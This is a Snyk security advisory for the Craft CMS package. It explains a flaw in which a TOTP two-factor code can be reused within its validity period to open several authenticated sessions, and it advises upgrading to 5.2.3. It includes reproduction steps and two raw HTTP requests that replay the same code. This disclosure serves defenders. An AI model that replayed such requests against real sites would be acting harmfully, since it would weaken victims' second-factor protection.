Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Authentication vulnerabilities in an interactive lesson.
Start learningUpgrade craftcms/cms
to version 5.2.3 or higher.
craftcms/cms is a content management system.
Affected versions of this package are vulnerable to Improper Authentication due to the improper handling of TOTP tokens. An attacker can establish multiple authenticated sessions by reusing a valid TOTP token within its validity period.
Note:
This is only exploitable if the attacker has knowledge of the victim's credentials.
Start the login process in two different environments e.g. in two different browsers. Enter the same TOTP in both environments while making sure that both submissions are made in the timespan where the TOTP is valid. Both environments should display the dashboard, signalling that the authentication process has been successful.
The following request and response pairs show this behavior. The requests are made from different session (different CraftSessionId
cookie), but yield the same response. Therefore, the one-time use requirement of TOTPs has been shown to be violated.
Request and response 1:
POST /index.php?p=admin%2Factions%2Fauth%2Fverify-totp&v=1718611475335 HTTP/1.1 Host: example.com Cookie: CraftSessionId=f52a55[...]; CRAFT_CSRF_TOKEN=84046fab20[...]; b355f5550c68c4120bf669f0e80588c6_username=677791f5[...]; X-Requested-With: XMLHttpRequest X-Csrf-Token: 3jS9tkBnKBRDJ[...] Content-Length: 17 Connection: close
{"code":"101472"}
HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Date: Mon, 17 Jun 2024 08:04:35 GMT [...]
{"message":"Verification successful."}
Request and response 2:
POST /index.php?p=admin%2Factions%2Fauth%2Fverify-totp&v=1718611477246 HTTP/1.1 Host: example.com Cookie: CraftSessionId=221f47[...]; CRAFT_CSRF_TOKEN=2db430[...]; b355f5550c68c4120bf669f0e80588c6_username=677791[...]; X-Requested-With: XMLHttpRequest X-Csrf-Token: Raz6Fv[...] Content-Length: 17 Connection: close
{"code":"101472"}
HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Date: Mon, 17 Jun 2024 08:04:37 GMT
[...]
{"message":"Verification successful."}